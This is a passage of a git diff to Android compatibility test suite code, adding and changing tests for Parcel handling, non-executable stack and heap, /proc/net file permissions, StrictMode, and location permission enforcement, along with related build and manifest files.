+ * limitations under the License.
+ */
+
+package android.os.cts;
+import android.os.cts.ExceptionalParcelable;
+
+interface IParcelExceptionService {
+//parcelable android.os.cts.ExceptionalParcelable;
+    ExceptionalParcelable writeBinderThrowException();
+}
diff --git a/tests/tests/os/src/android/os/cts/NoExecutePermissionTest.java b/tests/tests/os/src/android/os/cts/NoExecutePermissionTest.java
index b2d6e89..930bcc6 100644
--- a/tests/tests/os/src/android/os/cts/NoExecutePermissionTest.java
+++ b/tests/tests/os/src/android/os/cts/NoExecutePermissionTest.java
@@ -35,35 +35,13 @@
     }
 
     public void testNoExecuteStack() {
-        if (!cpuHasNxSupport()) {
-            return;
-        }
         assertFalse(isStackExecutable());
     }
 
     public void testNoExecuteHeap() {
-        if (!cpuHasNxSupport()) {
-            return;
-        }
         assertFalse(isHeapExecutable());
     }
 
-    private static boolean cpuHasNxSupport() {
-        if (CpuFeatures.isArmCpu() && !CpuFeatures.isArm7Compatible()) {
-            // ARM processors before v7 do not have NX support.
-            // http://code.google.com/p/android/issues/detail?id=17328
-            return false;
-        }
-        if (CpuFeatures.isMipsCpu()) {
-            // MIPS processors do not have NX support.
-            return false;
-        }
-
-        // TODO: handle other processors.  For now, assume those processors
-        // have NX support.
-        return true;
-    }
-
     private static native boolean isStackExecutable();
     private static native boolean isHeapExecutable();
 }
diff --git a/tests/tests/os/src/android/os/cts/ParcelExceptionService.java b/tests/tests/os/src/android/os/cts/ParcelExceptionService.java
new file mode 100644
index 0000000..d8387e3
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/ParcelExceptionService.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.os.cts;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.Binder;
+import android.os.IBinder;
+import android.os.RemoteException;
+
+public class ParcelExceptionService extends Service {
+    @Override
+    public IBinder onBind(Intent intent) {
+        return new ParcelExceptionServiceImpl();
+    }
+
+    private static class ParcelExceptionServiceImpl extends IParcelExceptionService.Stub {
+        private final IBinder mBinder = new Binder();
+
+
+        @Override
+        public ExceptionalParcelable writeBinderThrowException() throws RemoteException {
+            return new ExceptionalParcelable(mBinder);
+        }
+    }
+}
diff --git a/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java b/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java
index 97db5f6..96f5e1d 100644
--- a/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java
@@ -31,6 +31,7 @@
 import android.os.ParcelFileDescriptor.AutoCloseInputStream;
 import android.os.Parcelable;
 import android.os.cts.ParcelFileDescriptorPeer.FutureCloseListener;
+import android.platform.test.annotations.AppModeFull;
 import android.system.ErrnoException;
 import android.system.Os;
 import android.system.OsConstants;
@@ -95,6 +96,7 @@
     }
 
     @Test
+    @AppModeFull // opening a listening socket not permitted for instant apps
     public void testFromSocket() throws Throwable {
         final int PORT = 12222;
         final int DATA = 1;
@@ -189,8 +191,8 @@
     }
 
     @Test
-    public void testToString() {
-        ParcelFileDescriptor pfd = ParcelFileDescriptor.fromSocket(new Socket());
+    public void testToString() throws Exception {
+        ParcelFileDescriptor pfd = makeParcelFileDescriptor(getContext());
         assertNotNull(pfd.toString());
     }
 
@@ -244,8 +246,8 @@
     }
 
     @Test
-    public void testGetFileDescriptor() {
-        ParcelFileDescriptor pfd = ParcelFileDescriptor.fromSocket(new Socket());
+    public void testGetFileDescriptor() throws Exception {
+        ParcelFileDescriptor pfd = makeParcelFileDescriptor(getContext());
         assertNotNull(pfd.getFileDescriptor());
 
         ParcelFileDescriptor p = new ParcelFileDescriptor(pfd);
@@ -253,8 +255,8 @@
     }
 
     @Test
-    public void testDescribeContents() {
-        ParcelFileDescriptor pfd = ParcelFileDescriptor.fromSocket(new Socket());
+    public void testDescribeContents() throws Exception{
+        ParcelFileDescriptor pfd = makeParcelFileDescriptor(getContext());
         assertTrue((Parcelable.CONTENTS_FILE_DESCRIPTOR & pfd.describeContents()) != 0);
     }
 
diff --git a/tests/tests/os/src/android/os/cts/ParcelFileDescriptor_AutoCloseOutputStreamTest.java b/tests/tests/os/src/android/os/cts/ParcelFileDescriptor_AutoCloseOutputStreamTest.java
index 2ae5645..12494e5 100644
--- a/tests/tests/os/src/android/os/cts/ParcelFileDescriptor_AutoCloseOutputStreamTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelFileDescriptor_AutoCloseOutputStreamTest.java
@@ -16,7 +16,11 @@
 
 package android.os.cts;
 
+import java.io.FileOutputStream;
 import java.io.IOException;
+import java.lang.ref.Reference;
+import java.nio.channels.FileLock;
+
 import android.os.ParcelFileDescriptor;
 import android.os.ParcelFileDescriptor.AutoCloseOutputStream;
 import android.test.AndroidTestCase;
@@ -38,4 +42,15 @@
             // expected
         }
     }
+
+    public void testCloseOrdering() throws Exception {
+        // b/118316956: Make sure that we close the OutputStream before we close the PFD.
+        ParcelFileDescriptor pfd = ParcelFileDescriptorTest.makeParcelFileDescriptor(getContext());
+        FileLock l = null;
+        try (FileOutputStream out = new AutoCloseOutputStream(pfd)) {
+            l = out.getChannel().lock();
+        } finally {
+            Reference.reachabilityFence(l);
+        }
+    }
 }
diff --git a/tests/tests/os/src/android/os/cts/ParcelTest.java b/tests/tests/os/src/android/os/cts/ParcelTest.java
index 987ab00..77d325c 100644
--- a/tests/tests/os/src/android/os/cts/ParcelTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelTest.java
@@ -24,7 +24,14 @@
 import java.util.HashSet;
 import java.util.Map;
 import java.util.Set;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
 
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
 import android.content.pm.Signature;
 import android.os.BadParcelableException;
 import android.os.Binder;
@@ -39,6 +46,8 @@
 import android.util.SparseArray;
 import android.util.SparseBooleanArray;
 
+import com.google.common.util.concurrent.AbstractFuture;
+
 public class ParcelTest extends AndroidTestCase {
 
     public void testObtain() {
@@ -3230,6 +3239,31 @@
         assertEquals(56, list.get(1).getValue());
     }
 
+    // http://b/35384981
+    public void testCreateArrayWithTruncatedParcel() {
+        Parcel parcel = Parcel.obtain();
+        parcel.writeByteArray(new byte[] { 'a', 'b' });
+        byte[] marshalled = parcel.marshall();
+
+        // Test that createByteArray returns null with a truncated parcel.
+        parcel = Parcel.obtain();
+        parcel.unmarshall(marshalled, 0, marshalled.length);
+        parcel.setDataPosition(0);
+        // Shorten the data size by 2 to remove padding at the end of the array.
+        parcel.setDataSize(marshalled.length - 2);
+        assertNull(parcel.createByteArray());
+
+        // Test that readByteArray returns null with a truncated parcel.
+        parcel = Parcel.obtain();
+        parcel.unmarshall(marshalled, 0, marshalled.length);
+        parcel.setDataSize(marshalled.length - 2);
+        try {
+            parcel.readByteArray(new byte[2]);
+            fail();
+        } catch (RuntimeException expected) {
+        }
+    }
+
     public void testMaliciousMapWrite() {
         class MaliciousMap<K, V> extends HashMap<K, V> {
             public int fakeSize = 0;
@@ -3283,4 +3317,55 @@
             // good
         }
     }
+
+    public static class ParcelExceptionConnection extends AbstractFuture<IParcelExceptionService>
+            implements ServiceConnection {
+        @Override
+        public void onServiceConnected(ComponentName name, IBinder service) {
+            set(IParcelExceptionService.Stub.asInterface(service));
+        }
+
+        @Override
+        public void onServiceDisconnected(ComponentName name) {
+        }
+
+        @Override
+        public IParcelExceptionService get() throws InterruptedException, ExecutionException {
+            try {
+                return get(5, TimeUnit.SECONDS);
+            } catch (TimeoutException e) {
+                throw new RuntimeException(e);
+            }
+        }
+    }
+
+    public void testExceptionOverwritesObject() throws Exception {
+        final Intent intent = new Intent();
+        intent.setComponent(new ComponentName(
+                "android.os.cts", "android.os.cts.ParcelExceptionService"));
+
+        final ParcelExceptionConnection connection = new ParcelExceptionConnection();
+
+        mContext.startService(intent);
+        assertTrue(mContext.bindService(intent, connection,
+                Context.BIND_ABOVE_CLIENT | Context.BIND_EXTERNAL_SERVICE));
+
+
+        Parcel data = Parcel.obtain();
+        Parcel reply = Parcel.obtain();
+        data.writeInterfaceToken("android.os.cts.IParcelExceptionService");
+        IParcelExceptionService service = connection.get();
+        try {
+            assertTrue("Transaction failed", service.asBinder().transact(
+                    IParcelExceptionService.Stub.TRANSACTION_writeBinderThrowException, data, reply,
+                    0));
+        } catch (Exception e) {
+            fail("Exception caught from transaction: " + e);
+        }
+        reply.setDataPosition(0);
+        assertTrue("Exception should have occurred on service-side",
+                reply.readExceptionCode() != 0);
+        assertNull("Binder should have been overwritten by the exception",
+                reply.readStrongBinder());
+    }
 }
diff --git a/tests/tests/os/src/android/os/cts/SecurityFeaturesTest.java b/tests/tests/os/src/android/os/cts/SecurityFeaturesTest.java
index faba5d4..b5c2030 100644
--- a/tests/tests/os/src/android/os/cts/SecurityFeaturesTest.java
+++ b/tests/tests/os/src/android/os/cts/SecurityFeaturesTest.java
@@ -16,6 +16,7 @@
 
 package android.os.cts;
 
+import android.os.Build;
 import android.system.Os;
 import static android.system.OsConstants.PR_GET_DUMPABLE;
 
@@ -69,8 +70,9 @@
      * to exactly equal prctl(PR_GET_DUMPABLE).
      */
     public void testPrctlDumpable() throws Exception {
-        int ro_debuggable = Integer.parseInt(BuildTest.getProperty(BuildTest.RO_DEBUGGABLE));
+        boolean userBuild = "user".equals(Build.TYPE);
         int prctl_dumpable = Os.prctl(PR_GET_DUMPABLE, 0, 0, 0, 0);
-        assertEquals(ro_debuggable, prctl_dumpable);
+        int expected = userBuild ? 0 : 1;
+        assertEquals(expected, prctl_dumpable);
     }
 }
diff --git a/tests/tests/os/src/android/os/cts/StrictModeTest.java b/tests/tests/os/src/android/os/cts/StrictModeTest.java
index bb0ca05..a421fd3 100644
--- a/tests/tests/os/src/android/os/cts/StrictModeTest.java
+++ b/tests/tests/os/src/android/os/cts/StrictModeTest.java
@@ -422,6 +422,16 @@
     }
 
     @Test
+    public void testExplicitGc() throws Exception {
+        StrictMode.setThreadPolicy(
+                new StrictMode.ThreadPolicy.Builder().detectExplicitGc().penaltyLog().build());
+
+        inspectViolation(
+                () -> { Runtime.getRuntime().gc(); },
+                violation -> assertPolicy(violation, StrictMode.DETECT_EXPLICIT_GC));
+    }
+
+    @Test
     public void testViolationAcrossBinder() throws Exception {
         runWithRemoteServiceBound(
                 getContext(),
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/Android.mk b/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
index ffb5df0..946a041 100755
--- a/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
+++ b/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
@@ -29,8 +29,7 @@
 LOCAL_STATIC_JAVA_LIBRARIES := \
 	ub-uiautomator \
 	androidx.test.rules \
-	androidx.legacy_legacy-support-v4 \
-	compatibility-device-util-axt
+	androidx.legacy_legacy-support-v4
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java
index 55d0c3a..17f97fe 100644
--- a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java
+++ b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java
@@ -28,8 +28,6 @@
 import android.os.UserManager;
 import android.text.TextUtils;
 
-import com.android.compatibility.common.util.CddTest;
-
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
@@ -51,7 +49,6 @@
         mThisAppLauncher = new ComponentName(mContext, LauncherActivity.class);
     }
 
-    @CddTest(requirement="3.2.3.4/C-0-1")
     public void testBroadcastNotReceivedForDifferentLauncher() throws Exception {
         if (!mHasFeature) {
             return;
@@ -88,7 +85,6 @@
         assertEquals(TEST_APP_PKG, info.getAppPackageName());
     }
 
-    @CddTest(requirement="3.2.3.4/C-0-1")
     public void testBroadcastReceivedForNewInstall() throws Exception {
         if (!mHasFeature) {
             return;
@@ -111,7 +107,6 @@
         setLauncher(mDefaultLauncher.flattenToString());
     }
 
-    @CddTest(requirement="3.2.3.4/C-0-1")
     public void testBroadcastReceivedForEnablingApp() throws Exception {
         if (!mHasFeature || !UserManager.supportsMultipleUsers()) {
             return;
diff --git a/tests/tests/packageinstaller/emptytestapp/Android.mk b/tests/tests/packageinstaller/emptytestapp/Android.mk
index 7574d1f..4763e01 100644
--- a/tests/tests/packageinstaller/emptytestapp/Android.mk
+++ b/tests/tests/packageinstaller/emptytestapp/Android.mk
@@ -23,6 +23,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 23
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
diff --git a/tests/tests/permission/jni/Android.mk b/tests/tests/permission/jni/Android.mk
index 96b7506..bfa8b67 100644
--- a/tests/tests/permission/jni/Android.mk
+++ b/tests/tests/permission/jni/Android.mk
@@ -28,7 +28,6 @@
 LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) 
 
 LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog
-LOCAL_CPPFLAGS := -std=gnu++11
 LOCAL_CXX_STL := libc++_static
 
 LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
diff --git a/tests/tests/permission/sdk28/Android.mk b/tests/tests/permission/sdk28/Android.mk
new file mode 100644
index 0000000..77045a2
--- /dev/null
+++ b/tests/tests/permission/sdk28/Android.mk
@@ -0,0 +1,35 @@
+#
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsPermissionTestCasesSdk28
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SDK_VERSION := 28
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/permission/sdk28/AndroidManifest.xml b/tests/tests/permission/sdk28/AndroidManifest.xml
new file mode 100644
index 0000000..7390f36
--- /dev/null
+++ b/tests/tests/permission/sdk28/AndroidManifest.xml
@@ -0,0 +1,54 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.sdk28">
+
+    <uses-sdk android:minSdkVersion="3"
+        android:targetSdkVersion="28"
+        android:maxSdkVersion="28" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name="android.permission.cts.PermissionStubActivity"
+                  android:label="PermissionStubActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
+    </application>
+
+    <!--
+        The CTS stubs package cannot be used as the target application here,
+        since that requires many permissions to be set. Instead, specify this
+        package itself as the target and include any stub activities needed.
+
+        This test package uses the default InstrumentationTestRunner, because
+        the InstrumentationCtsTestRunner is only available in the stubs
+        package. That runner cannot be added to this package either, since it
+        relies on hidden APIs.
+    -->
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.permission.cts.sdk28"
+                     android:label="CTS tests of legacy android permissions as of API 28">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/permission/sdk28/AndroidTest.xml b/tests/tests/permission/sdk28/AndroidTest.xml
new file mode 100644
index 0000000..7d100d7
--- /dev/null
+++ b/tests/tests/permission/sdk28/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Permission test cases for TargetSdk 28">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="not-shardable" value="true" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsPermissionTestCasesSdk28.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.permission.cts.sdk28" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+</configuration>
diff --git a/tests/tests/permission/sdk28/res/values/strings.xml b/tests/tests/permission/sdk28/res/values/strings.xml
new file mode 100644
index 0000000..9cc70f9
--- /dev/null
+++ b/tests/tests/permission/sdk28/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="sdk28">SDK Level 28</string>
+</resources>
diff --git a/tests/tests/permission/sdk28/src/android/permission/cts/sdk28/RequestLocation.java b/tests/tests/permission/sdk28/src/android/permission/cts/sdk28/RequestLocation.java
new file mode 100644
index 0000000..750dbc0
--- /dev/null
+++ b/tests/tests/permission/sdk28/src/android/permission/cts/sdk28/RequestLocation.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts.sdk28;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.telephony.CellInfo;
+import android.telephony.NeighboringCellInfo;
+import android.telephony.TelephonyManager;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class RequestLocation {
+
+    private TelephonyManager mTelephonyManager;
+    private boolean mHasTelephony;
+
+    @Before
+    public void setUp() throws Exception {
+        mHasTelephony = getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY);
+        mTelephonyManager = (TelephonyManager) getContext().getSystemService(
+                Context.TELEPHONY_SERVICE);
+        assertNotNull(mTelephonyManager);
+    }
+
+    /**
+     * Verify that a SecurityException is thrown when an app targeting SDK 28
+     * lacks the coarse location permission.
+     */
+    @Test
+    public void testGetNeighboringCellInfo() {
+        if (!mHasTelephony) return;
+        try {
+            List<NeighboringCellInfo> cellInfos = mTelephonyManager.getNeighboringCellInfo();
+            if (cellInfos != null && !cellInfos.isEmpty()) {
+                fail("Meaningful information returned from getNeighboringCellInfo!");
+            }
+        } catch (SecurityException expected) {
+        }
+    }
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getContext();
+    }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
index e964719..46cf8d3 100644
--- a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
@@ -322,6 +322,33 @@
         assertFileOwnedByGroup(f, "net_bw_stats");
     }
 
+    private static List<String> procNetFiles = Arrays.asList("anycast6", "arp", "arp_tables_matches",
+            "arp_tables_names", "arp_tables_targets", "dev", "dev_mcast", "fib_trie", "fib_triestat",
+            "hci", "icmp", "icmp6", "if_inet6", "igmp", "igmp6", "ip6_flowlabel",
+            "ip6_tables_matches", "ip6_tables_names", "ip6_tables_targets", "ip_tables_matches",
+            "ip_tables_names", "ip_tables_targets", "ipv6_route", "l2cap", "mcfilter", "mcfilter6",
+            "netlink", "netstat", "nf_conntrack", "nf_conntrack_expect", "packet", "pfkey", "pnp",
+            "pppoe", "pppol2tp", "protocols", "psched", "ptype", "raw", "raw6", "route", "rt6_stats",
+            "rt_cache", "sco", "snmp", "snmp6", "sockstat", "sockstat6", "softnet_stat", "tcp",
+            "tcp6", "udp", "udp6", "udplite", "udplite6", "unix", "wireless", "xfrm_stat");
+
+    private static void procNetSane(String path) {
+        File f = new File(path);
+        assertFalse(f.canRead());
+        assertFalse(f.canWrite());
+        assertFalse(f.canExecute());
+        assertFileOwnedBy(f, "root");
+        assertFileOwnedByGroup(f, "root");
+    }
+
+    @MediumTest
+    @Test
+    public void testProcNetSane() throws Exception {
+        for (String file : procNetFiles) {
+            procNetSane("/proc/net/" + file);
+        }
+    }
+
     private static int readInt(File f) throws FileNotFoundException {
         try (Scanner s = new Scanner(f)) {
             return s.nextInt();
@@ -1042,6 +1069,21 @@
     }
 
     @Test
+    public void testProcUUIDReadable() throws Exception {
+        File f = new File("/proc/sys/kernel/random/uuid");
+
+        assertTrue(f + " cannot be opened for reading", canOpenForReading(f));
+        assertFalse(f + " can be opened for writing", canOpenForWriting(f));
+
+        FileUtils.FileStatus status = new FileUtils.FileStatus();
+        assertTrue(FileUtils.getFileStatus(f.getPath(), status, false));
+        assertTrue(
+                f + " not 0444. Actual mode: 0"
+                        + Integer.toString(status.mode, 8),
+                (status.mode & 0666) == 0444);
+    }
+
+    @Test
     public void testDevHwRandomLockedDown() throws Exception {
         File f = new File("/dev/hw_random");
         if (!f.exists()) {
diff --git a/tests/tests/permission/src/android/permission/cts/MainlineNetworkStackPermissionTest.java b/tests/tests/permission/src/android/permission/cts/MainlineNetworkStackPermissionTest.java
new file mode 100644
index 0000000..adac0be
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/MainlineNetworkStackPermissionTest.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import static android.net.NetworkStack.PERMISSION_MAINLINE_NETWORK_STACK;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.PermissionInfo;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class MainlineNetworkStackPermissionTest{
+    private final Context mContext = InstrumentationRegistry.getContext();
+
+    /**
+     * Test that a package defining android.permission.MAINLINE_NETWORK_STACK is installed,
+     * and is a system package
+     */
+    @Test
+    @AppModeFull(reason = "Instant apps cannot access PackageManager#getPermissionInfo")
+    public void testPackageWithMainlineNetworkStackPermission() throws Exception {
+        final PackageManager packageManager = mContext.getPackageManager();
+        assertNotNull("Unable to find PackageManager.", packageManager);
+
+        final PermissionInfo permissioninfo =
+                packageManager.getPermissionInfo(PERMISSION_MAINLINE_NETWORK_STACK, 0);
+        assertNotNull("Network stack permission is not defined.", permissioninfo);
+
+        PackageInfo packageInfo = packageManager.getPackageInfo(permissioninfo.packageName,
+                PackageManager.MATCH_SYSTEM_ONLY | PackageManager.GET_PERMISSIONS);
+        assertNotNull("Package defining the network stack permission is not a system package.",
+                packageInfo.permissions);
+
+        for (PermissionInfo permission : packageInfo.permissions) {
+            if (PERMISSION_MAINLINE_NETWORK_STACK.equals(permission.name)) {
+                return;
+            }
+        }
+
+        fail("Expect a system package defining " + PERMISSION_MAINLINE_NETWORK_STACK
+                + " is installed.");
+    }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/NoLocationPermissionTest.java b/tests/tests/permission/src/android/permission/cts/NoLocationPermissionTest.java
index 8fd4a59..824b513 100644
--- a/tests/tests/permission/src/android/permission/cts/NoLocationPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/NoLocationPermissionTest.java
@@ -25,6 +25,8 @@
 import android.location.LocationManager;
 import android.os.Bundle;
 import android.os.Looper;
+import android.telephony.CellInfo;
+import android.telephony.CellLocation;
 import android.telephony.PhoneStateListener;
 import android.telephony.TelephonyManager;
 import android.test.InstrumentationTestCase;
@@ -66,7 +68,7 @@
      * Verify that listen or get cell location requires permissions.
      * <p>
      * Requires Permission: {@link
-     * android.Manifest.permission#ACCESS_COARSE_LOCATION.}
+     * android.Manifest.permission#ACCESS_FINE_LOCATION}
      */
     @UiThreadTest
     public void testListenCellLocation() {
@@ -76,18 +78,26 @@
 
         TelephonyManager telephonyManager = (TelephonyManager) mContext.getSystemService(
                 Context.TELEPHONY_SERVICE);
-        PhoneStateListener phoneStateListener = new PhoneStateListener();
+        PhoneStateListener phoneStateListener = new PhoneStateListener() {
+            @Override
+            public void onCellLocationChanged(CellLocation location) {
+                if (location != null) {
+                    fail("Test process should not have received CellLocation");
+                }
+            }
+
+        };
         try {
             telephonyManager.listen(phoneStateListener, PhoneStateListener.LISTEN_CELL_LOCATION);
-            fail("TelephonyManager.listen(LISTEN_CELL_LOCATION) did not" +
-                    " throw SecurityException as expected");
         } catch (SecurityException e) {
             // expected
         }
 
         try {
-            telephonyManager.getCellLocation();
-            fail("TelephonyManager.getCellLocation did not throw SecurityException as expected");
+            CellLocation cellLocation = telephonyManager.getCellLocation();
+            if (cellLocation != null) {
+                fail("Test process should not have gotten a nonnull value from getCellLocation.");
+            }
         } catch (SecurityException e) {
             // expected
         }
@@ -97,7 +107,7 @@
      * Verify that get cell location requires permissions.
      * <p>
      * Requires Permission: {@link
-     * android.Manifest.permission#ACCESS_COARSE_LOCATION.}
+     * android.Manifest.permission#ACCESS_FINE_LOCATION}
      */
     @UiThreadTest
     public void testListenCellLocation2() {
@@ -107,18 +117,25 @@
 
         TelephonyManager telephonyManager = (TelephonyManager) mContext.getSystemService(
                 Context.TELEPHONY_SERVICE);
-        PhoneStateListener phoneStateListener = new PhoneStateListener();
-
         try {
-            telephonyManager.getNeighboringCellInfo();
-            fail("TelephonyManager.getNeighbouringCellInfo did not throw SecurityException as expected");
+            List<CellInfo> cellInfos = telephonyManager.getAllCellInfo();
+            if (cellInfos != null && cellInfos.size() > 0) {
+                fail("Test process should not have received CellInfo");
+            }
         } catch (SecurityException e) {
             // expected
         }
 
         try {
-            telephonyManager.getAllCellInfo();
